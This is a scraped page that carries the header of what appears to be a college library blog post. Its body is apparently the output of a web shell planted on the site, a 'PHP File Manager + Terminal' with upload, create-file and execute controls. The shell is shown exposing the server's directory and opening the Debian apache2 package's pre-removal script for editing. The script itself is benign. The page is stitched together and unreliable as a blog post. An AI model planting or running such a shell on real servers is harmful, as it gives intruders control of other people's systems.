Looking for something? Use OneSearch! Posted on January 23, 2020 (February 3, 2025) by Rebecca Hyams PHP File Manager + Terminal PHP File Manager + TerminalServer: www.bmcc.cuny.eduSoftware: Apache/2.4.62 (Debian)Current directory: //var/lib/dpkg/info Upload Create File Create Folder Execute Editing: /var/lib/dpkg/info/apache2.prerm#!/bin/sh set -e # If upgrading, postinst will restart. So we only need stop if removing. if [ -x "/etc/init.d/apache-htcacheclean" ] && [ "$1" = remove ] ; then invoke-rc.d apache-htcacheclean stop || true fi # Automatically added by dh_installsystemd/13.11.4 if [ -z "${DPKG_ROOT:-}" ] && [ "$1" = remove ] && [ -d /run/systemd/system ] ; then deb-systemd-invoke stop 'apache-htcacheclean.service' >/dev/null || true fi # End automatically added section # Automatically added by dh_installsystemd/13.11.4 if [ -z "${DPKG_ROOT:-}" ] && [ "$1" = remove ] && [ -d /run/systemd/system ] ; then deb-systemd-invoke stop 'apache2.service' >/dev/null || true fi # End automatically added section # Automatically added by dh_installinit/13.11.4 if [ -z "${DPKG_ROOT:-}" ] && [ "$1" = remove ] && [ -x "/etc/init.d/apache2" ] ; then invoke-rc.d --skip-systemd-native apache2 stop || true fi # End automatically added section Save